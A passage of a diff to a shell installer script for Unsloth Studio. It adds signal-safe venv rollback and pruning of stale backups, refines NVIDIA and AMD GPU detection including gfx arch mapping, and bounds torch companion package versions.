+    # a token isn't echoed into [TAURI:DIAG], and .../cu128/?token=x still classifies as cu128.
+    _diag_url="${_diag_url%%\?*}"
+    _diag_url="${_diag_url%%#*}"
+    _diag_url="${_diag_url%/}"
     case "$_diag_url" in
         */cu118) echo "cu118" ;;
         */cu124) echo "cu124" ;;
@@ -334,7 +388,8 @@ _tauri_gpu_branch() {
         return
     fi
     case "$_diag_family" in
-        cu*) echo "cuda" ;;
+        # Require a digit after cu so /current or /custom isn't branded CUDA (parity ^cu[0-9]).
+        cu[0-9]*) echo "cuda" ;;
         rocm*)
             if [ "$_diag_radeon" = true ]; then
                 echo "rocm_radeon"
@@ -420,14 +475,20 @@ _start_studio_venv_replacement() {
     _stamp=$(date +%Y%m%d%H%M%S 2>/dev/null || echo "time")
     _candidate="$STUDIO_HOME/unsloth_studio.rollback.$_stamp.$$"
     _suffix=0
-    while [ -e "$_candidate" ]; do
+    while [ -e "$_candidate" ] || [ -L "$_candidate" ]; do
         _suffix=$((_suffix + 1))
         _candidate="$STUDIO_HOME/unsloth_studio.rollback.$_stamp.$$.$_suffix"
     done
-    mv "$_existing_dir" "$_candidate"
     _VENV_ROLLBACK_DIR="$_candidate"
     _VENV_ROLLBACK_TARGET="$_existing_dir"
     _VENV_ROLLBACK_ACTIVE=true
+    # Publish the rollback state before the atomic rename so a signal cannot
+    # land after mv but before the exit handlers know where the old venv went.
+    if ! mv "$_existing_dir" "$_candidate"; then
+        _VENV_ROLLBACK_ACTIVE=false
+        _VENV_ROLLBACK_DIR=""
+        return 1
+    fi
     substep "previous environment preserved for rollback"
 }
 
@@ -448,13 +509,68 @@ _restore_studio_venv_replacement() {
     fi
 }
 
-_commit_studio_venv_replacement() {
-    [ "$_VENV_ROLLBACK_ACTIVE" = true ] || return 0
-    if [ -n "$_VENV_ROLLBACK_DIR" ] && [ -d "$_VENV_ROLLBACK_DIR" ]; then
-        rm -rf "$_VENV_ROLLBACK_DIR" || true
+_studio_venv_rollback_must_be_preserved() {
+    _rollback_name=${1##*/}
+    _rollback_metadata=${_rollback_name#unsloth_studio.rollback.}
+    _rollback_stamp=${_rollback_metadata%%.*}
+    _rollback_process=${_rollback_metadata#*.}
+    # Preserve anything outside the installer's timestamp.PID[.suffix] format.
+    [ "$_rollback_process" != "$_rollback_metadata" ] || return 0
+    case "$_rollback_stamp" in
+        time) ;;
+        ''|*[!0-9]*) return 0 ;;
+        *) [ "${#_rollback_stamp}" -eq 14 ] || return 0 ;;
+    esac
+    _rollback_pid=${_rollback_process%%.*}
+    case "$_rollback_pid" in
+        ''|*[!0-9]*) return 0 ;;
+    esac
+    _rollback_suffix=${_rollback_process#*.}
+    if [ "$_rollback_suffix" != "$_rollback_process" ]; then
+        case "$_rollback_suffix" in ''|*[!0-9]*) return 0 ;; esac
     fi
-    _VENV_ROLLBACK_ACTIVE=false
-    _VENV_ROLLBACK_DIR=""
+    kill -0 "$_rollback_pid" 2>/dev/null
+}
+
+_prune_stale_studio_venv_rollbacks() {
+    for _stale_rollback in "$STUDIO_HOME"/unsloth_studio.rollback.*; do
+        [ -d "$_stale_rollback" ] || continue
+        if [ -L "$_stale_rollback" ]; then
+            echo "⚠️  Refusing to remove rollback symlink $_stale_rollback" >&2
+            continue
+        fi
+        # A concurrent installer may have moved its live venv aside. The PID in
+        # the generated name keeps this successful run from deleting its rescue copy.
+        _studio_venv_rollback_must_be_preserved "$_stale_rollback" && continue
+        if rm -rf "$_stale_rollback"; then
+            substep "removed stale environment rollback ${_stale_rollback##*/}"
+        else
+            echo "⚠️  Could not remove stale environment rollback $_stale_rollback" >&2
+        fi
+    done
+}
+
+_commit_studio_venv_replacement() {
+    if [ "$_VENV_ROLLBACK_ACTIVE" = true ]; then
+        _rollback_to_remove="$_VENV_ROLLBACK_DIR"
+        # The new environment is already committed. Clear the restore state
+        # before deletion so an interrupt cannot replace it with a half-deleted backup.
+        _VENV_ROLLBACK_ACTIVE=false
+        _VENV_ROLLBACK_DIR=""
+        if [ -n "$_rollback_to_remove" ] && [ -d "$_rollback_to_remove" ]; then
+            if ! rm -rf "$_rollback_to_remove"; then
+                echo "⚠️  Could not remove environment rollback $_rollback_to_remove" >&2
+            fi
+        fi
+    fi
+    # Only prune older orphaned copies after the replacement has succeeded, so
+    # an interrupted install never discards the last known-good environment.
+    _prune_stale_studio_venv_rollbacks
+}
+
+_cleanup_install_temporaries() {
+    [ -n "${_UV_OVERRIDE_TMPDIR:-}" ] && rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true
+    [ -n "${_UNSLOTH_TORCH_OVERRIDES:-}" ] && rm -f "$_UNSLOTH_TORCH_OVERRIDES" 2>/dev/null || true
 }
 
 _on_install_exit() {
@@ -462,13 +578,28 @@ _on_install_exit() {
     if [ "$_status" -ne 0 ]; then
         _restore_studio_venv_replacement
     fi
-    [ -n "${_UV_OVERRIDE_TMPDIR:-}" ] && rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true
+    _cleanup_install_temporaries
     exit "$_status"
 }
-# Empty so an inherited value can never reach the trap's rm; only a temp dir
-# this script creates below (Apple Silicon, spaced path) is ever removed.
+
+_on_install_signal() {
+    _signal_status="$1"
+    # EXIT is disabled to avoid a second cleanup pass. Ignore further termination
+    # signals until the old environment is back in place.
+    trap - EXIT
+    trap '' HUP INT TERM
+    _restore_studio_venv_replacement
+    _cleanup_install_temporaries
+    exit "$_signal_status"
+}
+# Empty so an inherited value never reaches the trap's rm; only temp paths this
+# script creates below (spaced-path dir, torch-trio overrides) are removed.
 _UV_OVERRIDE_TMPDIR=""
+_UNSLOTH_TORCH_OVERRIDES=""
 trap _on_install_exit EXIT
+trap '_on_install_signal 129' HUP
+trap '_on_install_signal 130' INT
+trap '_on_install_signal 143' TERM
 
 # ── Helper: download a URL to a file (supports curl and wget) ──
 download() {
@@ -654,7 +785,7 @@ POLL_INTERVAL_SEC=0.25
 LOG_FILE="$DATA_DIR/studio.log"
 # why: in env-override mode multiple installs share an OS user; namespace the
 # lock and remember our own healthy port so we never attach to an unrelated
-# Studio listening on the global 8888..8908 range.
+# Unsloth listening on the global 8888..8908 range.
 LOCK_DIR="${XDG_RUNTIME_DIR:-/tmp}/unsloth-studio-launcher-$(id -u).lock"
 PORT_FILE=""
 # why: gate on the install-time mode (baked above) instead of the runtime env
@@ -725,7 +856,7 @@ _candidate_ports() {
 _find_healthy_port() {
     if [ -n "$PORT_FILE" ] && [ -f "$PORT_FILE" ]; then
         # why: env-mode installs only attach to a port we previously launched
-        # ourselves; never to a sibling Studio that happens to be healthy.
+        # ourselves; never to a sibling Unsloth that happens to be healthy.
         _p=$(cat "$PORT_FILE" 2>/dev/null || true)
         case "$_p" in
             ''|*[!0-9]*) ;;
@@ -892,7 +1023,7 @@ _acquire_lock() {
     # Lock dir exists -- check if owner is still alive
     _old_pid=$(cat "$LOCK_DIR/pid" 2>/dev/null || true)
     if [ -n "$_old_pid" ] && kill -0 "$_old_pid" 2>/dev/null; then
-        # Another launcher is running; wait for it to bring Studio up
+        # Another launcher is running; wait for it to bring Unsloth up
         _deadline=$(($(date +%s) + TIMEOUT_SEC))
         while [ "$(date +%s)" -lt "$_deadline" ]; do
             _port=$(_find_healthy_port) && {
@@ -1362,7 +1493,7 @@ WSLPS1_EOF
         # shortcut wasn't created; tell the user how to launch / re-enable it.
         if [ "$_css_created" -ne 1 ]; then
             substep "Couldn't create the Windows shortcut (WSL interop may be disabled)." "$C_WARN"
-            substep "  Launch Studio from Windows:  wsl -d \"$_css_distro\" -- bash -lc 'unsloth studio'" "$C_WARN"
+            substep "  Launch Unsloth from Windows:  wsl -d \"$_css_distro\" -- bash -lc 'unsloth studio'" "$C_WARN"
             substep "  (re-enable shortcuts: turn WSL interop back on, e.g. run 'wsl --shutdown' then reopen WSL.)" "$C_WARN"
         fi
     fi
@@ -1430,7 +1561,7 @@ if [ "$MAC_INTEL" = true ]; then
     echo ""
     echo "  NOTE: Intel Mac (x86_64) detected."
     echo "  PyTorch is unavailable for this platform (dropped Jan 2024)."
-    echo "  Studio will install in GGUF-only mode."
+    echo "  Unsloth will install in GGUF-only mode."
     echo "  Chat, inference via GGUF, and data recipes will work."
     echo "  Training requires Apple Silicon or Linux with GPU."
     echo ""
@@ -1442,8 +1573,14 @@ if [ "$_NO_TORCH_FLAG" = true ] || [ "$MAC_INTEL" = true ]; then
     SKIP_TORCH=true
 fi
 
+# Apple Silicon: exclude broken mlx-lm 0.31.3 (QK-norm load regression for
+# gemma4 / qwen3_5; mlx-lm #1242). A curl-piped install has no overrides file
+# and skips the guarded MLX step (SKIP_STUDIO_BASE=1), so this is the only cover.
+_MLX_LM_EXCLUDE_ARG=""
+
 # Apple Silicon: override mlx-vlm / mlx-lm's transformers pin (see overrides file).
 if [ "$OS" = "macos" ] && [ "$_ARCH" = "arm64" ]; then
+    _MLX_LM_EXCLUDE_ARG="mlx-lm!=0.31.3"
     _OVERRIDES_FILE="$(cd "$(dirname "$0" 2>/dev/null || echo ".")" && pwd)/studio/backend/requirements/single-env/overrides-darwin-arm64.txt"
     if [ -f "$_OVERRIDES_FILE" ]; then
         # uv splits UV_OVERRIDE on whitespace, so a repo path with whitespace
@@ -1477,17 +1614,106 @@ elif [ "$OS" = "macos" ]; then
 fi
 tauri_diag_marker "$_TAURI_INITIAL_GPU_BRANCH" "none"
 
+# AMD GPU name from the Windows host via WMI, or empty. Discrete cards aren't in
+# /proc/cpuinfo, so ask Windows. Cached ("-" = negative), self-contained, bounded
+# to 10s. Defined here so the reroute below can use it before _run_bounded exists.
+_WSL_AMD_GPU_NAME_CACHE=""
+_wsl_amd_gpu_name() {
+    if [ -n "$_WSL_AMD_GPU_NAME_CACHE" ]; then
+        [ "$_WSL_AMD_GPU_NAME_CACHE" = "-" ] && return 1
+        printf '%s' "$_WSL_AMD_GPU_NAME_CACHE"; return 0
+    fi
+    command -v powershell.exe >/dev/null 2>&1 || { _WSL_AMD_GPU_NAME_CACHE="-"; return 1; }
+    _wag_ps="(Get-CimInstance Win32_VideoController | Where-Object { \$_.Name -match 'AMD|Radeon' } | Select-Object -First 1).Name"
+    if command -v timeout >/dev/null 2>&1; then
+        _wag_n="$(timeout 10 powershell.exe -NoProfile -Command "$_wag_ps" 2>/dev/null | tr -d '\r\n\000')"
+    else
+        _wag_n="$(powershell.exe -NoProfile -Command "$_wag_ps" 2>/dev/null | tr -d '\r\n\000')"
+    fi
+    if [ -n "$_wag_n" ]; then _WSL_AMD_GPU_NAME_CACHE="$_wag_n"; printf '%s' "$_wag_n"; return 0; fi
+    _WSL_AMD_GPU_NAME_CACHE="-"; return 1
+}
+
+# ── Bounded command runner ──
+# Runs a command under a 10s timeout when the `timeout` binary is available,
+# otherwise runs it unbounded. Keeps a wedged nvidia-smi (blocking during
+# driver init or after a reset) from hanging the installer: a timed-out probe
+# exits nonzero and is treated exactly like a failed probe. No-op semantics on
+# hosts without `timeout` (e.g. macOS) or when the probe is healthy.
+_run_bounded() {
+    if command -v timeout >/dev/null 2>&1; then
+        timeout 10 "$@"
+    else
+        "$@"
+    fi
+}
+
+# Returns 0 (true) when CUDA_VISIBLE_DEVICES is set to "" or "-1", i.e. every
+# NVIDIA device is deliberately hidden (mixed AMD+NVIDIA hosts steering work to
+# the AMD card). Unset means all devices visible. nvidia-smi ignores this env
+# var, so the probes below cannot see the distinction on their own.
+_cvd_hides_nvidia() {
+    [ "${CUDA_VISIBLE_DEVICES+set}" = "set" ] || return 1
+    _cvd_trim=$(printf '%s' "$CUDA_VISIBLE_DEVICES" | tr -d '[:space:]')
+    [ -z "$_cvd_trim" ] || [ "$_cvd_trim" = "-1" ]
+}
+
+# ── NVIDIA usable-GPU helper ──
+# Returns 0 (true) if an NVIDIA GPU is present and usable.
+# Primary probe: nvidia-smi -L. Fallback: /proc/driver/nvidia/gpus/ sysfs,
+# which the NVIDIA driver populates on Linux regardless of nvidia-smi state
+# -- handles PATH gaps, subprocess timeouts, and driver init races that
+# could otherwise cause nvidia-smi to fail and silence NVIDIA detection.
+# A GPU hidden via CUDA_VISIBLE_DEVICES=""/-1 counts as NOT usable (matches
+# install_llama_prebuilt.py has_usable_nvidia), so AMD/CPU routing still runs.
+_has_usable_nvidia_gpu() {
+    if _cvd_hides_nvidia; then
+        return 1
+    fi
+    _nvsmi=""
+    if command -v nvidia-smi >/dev/null 2>&1; then
+        _nvsmi="nvidia-smi"
+    elif [ -x "/usr/bin/nvidia-smi" ]; then
+        _nvsmi="/usr/bin/nvidia-smi"
+    fi
+    if [ -n "$_nvsmi" ]; then
+        if _run_bounded "$_nvsmi" -L 2>/dev/null | awk '/^GPU[[:space:]]+[0-9]+:/{found=1} END{exit !found}'; then
+            return 0
+        fi
+    fi
+    # Fallback: NVIDIA driver exposes one subdir per GPU under this path.
+    if [ -d /proc/driver/nvidia/gpus ] && \
+       [ -n "$(ls -A /proc/driver/nvidia/gpus 2>/dev/null)" ]; then
+        return 0
+    fi
+    return 1
+}
+
 # Strix Halo ROCm-on-WSL only targets Ubuntu 24.04. On a newer distro (e.g. 26.04)
 # with a 24.04 distro present, re-run the install there and stop; else fall through
 # to CPU + the `wsl --install` hint below (never auto-create a distro). Runs before
 # the STUDIO_HOME mkdir/venv so the origin distro is untouched.
 _maybe_reroute_strixhalo_to_2404() {
     [ "${OS:-}" = "wsl" ] || return 0
+    # An explicit index pin skips every GPU-driven reroute (same contract as
+    # the later Radeon/Strix guard): the pin is honored in THIS distro rather
+    # than probing the GPU and switching distributions. Whitespace-only
+    # overrides do not gate (parity with get_torch_index_url).
+    _rr_pin=$(printf '%s' "${UNSLOTH_TORCH_INDEX_URL:-}${UNSLOTH_TORCH_INDEX_FAMILY:-}" | tr -d '[:space:]')
+    [ -n "$_rr_pin" ] && return 0
     [ "${SKIP_TORCH:-false}" = "false" ] || return 0
     [ "${UNSLOTH_SKIP_ROCM_WSL_SETUP:-0}" = "1" ] && return 0
     [ "${UNSLOTH_WSL_REROUTED:-0}" = "1" ] && return 0
     [ -e /dev/dxg ] || return 0
-    grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null || return 0
+    # A usable NVIDIA GPU (common on hybrid AMD+NVIDIA hosts) means the CUDA path works on
+    # this distro, so don't reroute for AMD. _has_usable_nvidia_gpu (moved above) honors
+    # CUDA_VISIBLE_DEVICES=""/-1 and the /proc/driver/nvidia fallback for PATH/timeout gaps.
+    if _has_usable_nvidia_gpu; then return 0; fi
+    # Strix APUs show in /proc/cpuinfo; discrete cards don't, so also try WMI. Either reroutes.
+    if ! grep -qiE 'Ryzen AI Max|Radeon 80[0-9][05]S|Strix Halo' /proc/cpuinfo 2>/dev/null \
+       && ! _wsl_amd_gpu_name >/dev/null 2>&1; then
+        return 0
+    fi
     # Already ROCm-on-WSL? leave a working GPU alone, whatever the version.
     if [ -e /opt/rocm/lib/librocdxg.so ] || [ -e /opt/rocm/lib64/librocdxg.so ]; then
         return 0
@@ -1536,6 +1762,11 @@ _maybe_reroute_strixhalo_to_2404() {
     # Forward explicit ROCm-bootstrap consent (e.g. Tauri) so the child auto-enables the
     # GPU instead of falling back to the desktop-app prompt path.
     [ "${UNSLOTH_ROCM_WSL_AUTO:-0}" = "1" ] && _rr_exports="$_rr_exports; export UNSLOTH_ROCM_WSL_AUTO=1"
+    # Forward a pinned torch index into the rerouted distro; dropping it would
+    # silently revert the child install to auto-detection.
+    [ -n "${UNSLOTH_TORCH_INDEX_URL:-}" ] && _rr_exports="$_rr_exports; export UNSLOTH_TORCH_INDEX_URL=$(_rr_q "$UNSLOTH_TORCH_INDEX_URL")"
+    [ -n "${UNSLOTH_TORCH_INDEX_FAMILY:-}" ] && _rr_exports="$_rr_exports; export UNSLOTH_TORCH_INDEX_FAMILY=$(_rr_q "$UNSLOTH_TORCH_INDEX_FAMILY")"
+    [ "$_SKIP_AUTOSTART" = true ] && _rr_exports="$_rr_exports; export UNSLOTH_SKIP_AUTOSTART=1"
     _rr_args=""
     [ "$PACKAGE_NAME" != "unsloth" ] && _rr_args="$_rr_args --package $(_rr_q "$PACKAGE_NAME")"
     [ -n "$_USER_PYTHON" ] && _rr_args="$_rr_args --python $(_rr_q "$_USER_PYTHON")"
@@ -1572,7 +1803,7 @@ _maybe_reroute_strixhalo_to_2404() {
 _maybe_reroute_strixhalo_to_2404 || true
 
 # ── Check system dependencies ──
-# cmake/git are only needed to *build* llama.cpp from source. Studio downloads a
+# cmake/git are only needed to *build* llama.cpp from source. Unsloth downloads a
 # prebuilt by default, and setup.sh self-skips the source build when they're
 # absent -- so macOS doesn't block on cmake (requiring it would force a manual
 # Homebrew install). Linux keeps requiring them; its package manager has them.
@@ -1722,11 +1953,13 @@ tauri_log "STEP" "Creating virtual environment"
 mkdir -p "$STUDIO_HOME"
 
 _MIGRATED=false
+# Empty so an inherited value can never masquerade as a probed torch version.
+_PREV_TORCH_VER=""
 
 if [ -x "$VENV_DIR/bin/python" ]; then
     # why: matching guard to the .venv branch below -- in env-mode
     # $STUDIO_HOME is a user-chosen workspace, so refuse to nuke an
-    # existing $STUDIO_HOME/unsloth_studio that lacks Studio sentinels.
+    # existing $STUDIO_HOME/unsloth_studio that lacks Unsloth sentinels.
     # Accept the in-VENV ownership marker so partial-install retries are
     # not blocked. Sentinels must be regular files: -f follows symlinks
     # to files (the legitimate ln -s shim shape) but rejects directories
@@ -1739,6 +1972,12 @@ if [ -x "$VENV_DIR/bin/python" ]; then
         echo "       Move it aside or choose an empty UNSLOTH_STUDIO_HOME." >&2
         exit 1
     fi
+    # Record the existing venv's torch BEFORE the replacement moves it aside: a re-run
+    # rebuilds the venv for clean state, but must keep the torch release the user
+    # already has (see _previous_torch_pin below). Last line only: sitecustomize or
+    # import-hook noise on stdout must not corrupt the version.
+    _PREV_TORCH_VER=$("$VENV_DIR/bin/python" -c \
+        "import torch; print(torch.__version__)" 2>/dev/null | tail -n 1 || true)
     # New layout already exists — replace only after preserving rollback copy.
     substep "preserving existing environment for rollback..."
     _start_studio_venv_replacement "$VENV_DIR"
@@ -1747,7 +1986,7 @@ elif [ "$_STUDIO_HOME_REDIRECT" != "env" ] && [ -x "$STUDIO_HOME/.venv/bin/pytho
     # Skip in env-mode so we don't rm -rf an unrelated .venv at the
     # workspace root (e.g. user's existing project Python venv).
     # In no-torch mode, a missing torch package is expected; validate Python only.
-    substep "found legacy Studio environment, validating..."
+    substep "found legacy Unsloth environment, validating..."
     _legacy_ok=false
     if [ "$SKIP_TORCH" = true ]; then
         if "$STUDIO_HOME/.venv/bin/python" -c "import sys; print(sys.executable)" >/dev/null 2>&1; then
@@ -1804,7 +2043,7 @@ if [ ! -x "$VENV_DIR/bin/python" ]; then
     fi
 fi
 
-# Mark the freshly-created venv as Studio-owned so a partial install can be
+# Mark the freshly-created venv as Unsloth-owned so a partial install can be
 # repaired by re-running install.sh; the env-mode deletion guard above accepts
 # this marker as the primary sentinel.
 if [ -x "$VENV_DIR/bin/python" ]; then
@@ -1892,6 +2131,15 @@ if [ "$SKIP_TORCH" = false ] && [ "$OS" = "macos" ] && [ "$_ARCH" = "arm64" ]; t
         TORCH_CONSTRAINT="torch>=2.6,<2.11.0"
     fi
 fi
+# Companion (torchvision/torchaudio) constraints, bounded to torch's window.
+# torchaudio 2.11 dropped its exact torch pin, so a bare companion next to a
+# <2.11-capped torch resolves torchaudio 2.11 (verified: cpu leaf installed
+# torch 2.10.0+cpu with torchaudio 2.11.0+cpu). torchvision still exact-pins
+# torch and self-corrects, but is bounded for symmetry. Widened alongside the
+# cu* torch window below; the torch-2.11 AMD paths (rocm7.2 / per-gfx / Strix)
+# pin their own trio.
+TORCHVISION_CONSTRAINT="torchvision>=0.19,<0.26.0"
+TORCHAUDIO_CONSTRAINT="torchaudio>=2.4,<2.11.0"
 
 # ── Resolve repo root (for --local installs) ──
 _REPO_ROOT="$(cd "$(dirname "$0" 2>/dev/null || echo ".")" && pwd)"
@@ -1941,71 +2189,146 @@ _has_amd_rocm_gpu() {
          amd-smi list 2>/dev/null | awk '/^GPU[[:space:]]*[:\[][[:space:]]*[0-9]/{ found=1 } END{ exit !found }'; then
         return 0
     elif [ -e /dev/kfd ] && \
-         awk 'FNR==1{ gpu=0; amd=0 } /gpu_id/{ gpu=($2+0>0) } /vendor_id/{ amd=($2==4098) } \
-              gpu && amd { found=1 } END{ exit !found }' \
+         awk '/vendor_id/ && $2 == 4098 { found = 1 } END { exit !found }' \
              /sys/class/kfd/kfd/topology/nodes/*/properties 2>/dev/null; then
-        # vendor_id 4098 = 0x1002 (AMD). NVIDIA open kernel module (driver
-        # 560+) can register KFD topology nodes with non-zero gpu_id but
-        # vendor_id 4318 (0x10DE). Require AMD vendor to avoid misrouting
-        # NVIDIA-only hosts to the ROCm install path.
+        # vendor_id 4098 = 0x1002 (AMD) marks a GPU node: the KFD CPU node
+        # reports vendor_id 0, so any 4098 node is an AMD GPU. NVIDIA's open
+        # kernel module (driver 560+) registers KFD nodes as vendor_id 4318
+        # (0x10DE), so this never false-positives on NVIDIA-only hosts.
+        # The prior check also required a gpu_id line, but gpu_id is a SIBLING
+        # sysfs file, not a line in properties -- it never matched, so the
+        # fallback silently missed every ROCm-less AMD host (issue: fresh
+        # Arch/CachyOS boxes reporting "no GPU detected").
         return 0
     fi
     return 1
 }
 
-# ── Bounded command runner ──
-# Runs a command under a 10s timeout when the `timeout` binary is available,
-# otherwise runs it unbounded. Keeps a wedged nvidia-smi (blocking during
-# driver init or after a reset) from hanging the installer: a timed-out probe
-# exits nonzero and is treated exactly like a failed probe. No-op semantics on
-# hosts without `timeout` (e.g. macOS) or when the probe is healthy.
-_run_bounded() {
-    if command -v timeout >/dev/null 2>&1; then
-        timeout 10 "$@"
-    else
-        "$@"
-    fi
+# Returns 0 if an AMD display GPU is on the PCI bus even when ROCm can't use it
+# (e.g. a Strix Halo iGPU with no /dev/kfd). Only sharpens the "no GPU detected"
+# hint. vendor 0x1002 = AMD/ATI; class 0x03* = display controller.
+_amd_gpu_present_via_pci() {
+    [ -d /sys/bus/pci/devices ] || return 1
+    for _pci_vendor in /sys/bus/pci/devices/*/vendor; do
+        [ -r "$_pci_vendor" ] || continue
+        read -r _v < "$_pci_vendor" 2>/dev/null || continue
+        [ "$_v" = "0x1002" ] || continue
+        _cls="${_pci_vendor%vendor}class"
+        [ -r "$_cls" ] || continue
+        read -r _c < "$_cls" 2>/dev/null || continue
+        case "$_c" in 0x03*) return 0 ;; esac
+    done
+    return 1
 }
 
-# Returns 0 (true) when CUDA_VISIBLE_DEVICES is set to "" or "-1", i.e. every
-# NVIDIA device is deliberately hidden (mixed AMD+NVIDIA hosts steering work to
-# the AMD card). Unset means all devices visible. nvidia-smi ignores this env
-# var, so the probes below cannot see the distinction on their own.
-_cvd_hides_nvidia() {
-    [ "${CUDA_VISIBLE_DEVICES+set}" = "set" ] || return 1
-    _cvd_trim=$(printf '%s' "$CUDA_VISIBLE_DEVICES" | tr -d '[:space:]')
-    [ -z "$_cvd_trim" ] || [ "$_cvd_trim" = "-1" ]
+# Map a gfx arch to the AMD pip index family (mirrors install.ps1 $archFamilyMap).
+_amd_arch_index_family_for_gfx() {
+    case "$1" in
+        gfx1201|gfx1200) echo gfx120X-all ;;
+        gfx1151) echo gfx1151 ;;
+        gfx1150) echo gfx1150 ;;
+        gfx1103|gfx1102|gfx1101|gfx1100) echo gfx110X-all ;;
+        gfx1036|gfx1035|gfx1034|gfx1033|gfx1032|gfx1031|gfx1030) echo gfx103X-all ;;
+        gfx90a) echo gfx90a ;;
+        gfx908) echo gfx908 ;;
+        *) return 1 ;;
+    esac
 }
 
-# ── NVIDIA usable-GPU helper ──
-# Returns 0 (true) if an NVIDIA GPU is present and usable.
-# Primary probe: nvidia-smi -L. Fallback: /proc/driver/nvidia/gpus/ sysfs,
-# which the NVIDIA driver populates on Linux regardless of nvidia-smi state
-# -- handles PATH gaps, subprocess timeouts, and driver init races that
-# could otherwise cause nvidia-smi to fail and silence NVIDIA detection.
-# A GPU hidden via CUDA_VISIBLE_DEVICES=""/-1 counts as NOT usable (matches
-# install_llama_prebuilt.py has_usable_nvidia), so AMD/CPU routing still runs.
-_has_usable_nvidia_gpu() {
-    if _cvd_hides_nvidia; then
-        return 1
+# Map a GPU marketing name to gfx arch (kept in sync with install.ps1 nameArchTable).
+_infer_amd_gfx_arch_from_gpu_name() {
+    case "$1" in
+        *"9070 XT"*|*9080*) echo gfx1201 ;;
+        *9070*|*9060*) echo gfx1200 ;;
+        *"8065S"*|*"8060S"*|*"8050S"*|*"8040S"*|*"Strix Halo"*|*"Ryzen AI Max"*|*"AI Max"*) echo gfx1151 ;;
+        *"890M"*|*"880M"*|*"860M"*|*"840M"*|*"Strix Point"*|*"Krackan"*|*"HX 37"*|*"AI 9 HX"*|*"AI 9 36"*|*"AI 7 35"*|*"AI 5 34"*|*"AI 7 PRO 35"*|*"AI 5 33"*) echo gfx1150 ;;
+        *"RX 7600"*|*"RX 7700S"*|*"RX 7650"*|*"PRO W7600"*|*"PRO W7500"*|*"PRO V710"*) echo gfx1102 ;;
+        *"RX 7900"*|*"RX 7800"*|*"RX 7700"*|*"PRO W7900"*|*"PRO W7800"*|*"PRO W7700"*) echo gfx1100 ;;
+        *"780M"*|*"760M"*|*"740M"*|*"Phoenix"*|*"Hawk Point"*|*"Z1 Extreme"*|*"Z2 Extreme"*) echo gfx1103 ;;
+        *"RX 6900"*|*"RX 6800"*|*"RX 6750"*|*"RX 6700"*|*"PRO W6800"*|*"PRO W6900"*) echo gfx1030 ;;
+        *"RX 6650"*|*"RX 6600"*|*"PRO W6600"*|*"PRO W6650"*) echo gfx1032 ;;
+        *"RX 6500"*|*"RX 6400"*|*"RX 6300"*|*"PRO W6400"*|*"PRO W6500"*) echo gfx1034 ;;
+        *) return 1 ;;
+    esac
+}
+
+# Best-effort gfx inference when ROCm tools can't see the GPU (unslothai#7301).
+# Mirrors install.ps1 arch resolution on Windows ($HasROCm false, $ROCmGfxArch set).
+_infer_linux_amd_gfx_arch() {
+    if [ -n "${UNSLOTH_ROCM_GFX_ARCH:-}" ]; then
+        printf '%s\n' "$(printf '%s' "$UNSLOTH_ROCM_GFX_ARCH" | tr '[:upper:]' '[:lower:]')"
+        return 0
     fi
-    _nvsmi=""
-    if command -v nvidia-smi >/dev/null 2>&1; then
-        _nvsmi="nvidia-smi"
-    elif [ -x "/usr/bin/nvidia-smi" ]; then
-        _nvsmi="/usr/bin/nvidia-smi"
+    # On WSL /proc/cpuinfo and lspci still report the host APU, but without the
+    # ROCDXG bridge (librocdxg over /dev/dxg) the AMD wheels can't reach the GPU;
+    # keep the CPU fallback there unless that runtime is present (the explicit
+    # override above still wins). Mirrors install_python_stack.py.
+    _gpu_evidence=""
+    if [ -e /dev/dxg ] || grep -qi microsoft /proc/version 2>/dev/null; then
+        for _d in /opt/rocm/lib /opt/rocm/lib64 /opt/rocm-*/lib /opt/rocm-*/lib64; do
+            { [ -e "$_d/librocdxg.so" ] || [ -e "$_d/librocdxg.so.1" ]; } && _rocdxg=1 && break
+        done
+        [ -n "${_rocdxg:-}" ] || return 1
+        # WSL enumerates no PCI display device; /dev/dxg + librocdxg IS the
+        # GPU evidence there.
+        _gpu_evidence=1
+    elif _amd_gpu_present_via_pci; then
+        _gpu_evidence=1
     fi
-    if [ -n "$_nvsmi" ]; then
-        if _run_bounded "$_nvsmi" -L 2>/dev/null | awk '/^GPU[[:space:]]+[0-9]+:/{found=1} END{exit !found}'; then
-            return 0
+    # /proc/cpuinfo leaks the HOST CPU model into VMs/containers that received
+    # no AMD GPU, so the CPU-model text alone is not GPU evidence: require an
+    # AMD display device (PCI vendor 0x1002, class 0x03*) before trusting it.
+    # The lspci fallback below needs no gate; an AMD display line IS evidence.
+    if [ -n "$_gpu_evidence" ] && grep -qiE 'Ryzen AI Max|Radeon 80[0-9][05]S|Strix Halo' /proc/cpuinfo 2>/dev/null; then
+        echo gfx1151
+        return 0
+    fi
+    if [ -n "$_gpu_evidence" ] && grep -qiE '890M|880M|860M|840M|Strix Point|Krackan|HX 37[05]|AI 9 HX|AI 9 36[05]|AI 7 35[05]|AI 5 34[05]|AI 7 PRO 35|AI 5 33' /proc/cpuinfo 2>/dev/null; then
+        echo gfx1150
+        return 0
+    fi
+    if command -v lspci >/dev/null 2>&1; then
+        # A non-AMD controller can enumerate first (Intel/ASPEED before an AMD
+        # dGPU), so scan every display-class line and take the first AMD one
+        # that maps. The vendor guard is case-SENSITIVE (a -i "ATI" would match
+        # "CorporATIon" on every Intel/NVIDIA line); whole-line matching also
+        # survives the 0000: PCI domain prefix. Mirrors install_python_stack.py.
+        _amd_disp=$(lspci -nn 2>/dev/null | grep -E 'VGA compatible controller|3D controller|Display controller' | grep -E 'AMD|ATI' || true)
+        while IFS= read -r _ln; do
+            [ -n "$_ln" ] || continue
+            if _gfx=$(_infer_amd_gfx_arch_from_gpu_name "$_ln"); then
+                echo "$_gfx"
+                return 0
+            fi
+        done <<EOF
+$_amd_disp
+EOF
+    fi
+    return 1
+}
+
+# Reads the AMD gfx arch for wheel-index decisions: a user-set
+# UNSLOTH_ROCM_GFX_ARCH is authoritative (lowercased), else rocminfo, then
+# amd-smi. rocminfo/amd-smi honor ROCR/HIP_VISIBLE_DEVICES, so a container mask
+# (e.g. ROCR_VISIBLE_DEVICES=-1) would hide a GPU that the env-independent KFD
+# detection still sees -- the tool probes run with the masks cleared. Prints the
+# gfx token(s) or nothing when unreadable, and always returns 0 (a failing probe
+# as the last command would trip set -e in callers' assignments). Shared by
+# get_torch_index_url's gfx gate and the runtime-less reroute gate so the two
+# can never disagree on what "readable" means.
+_probe_amd_gfx_arch() {
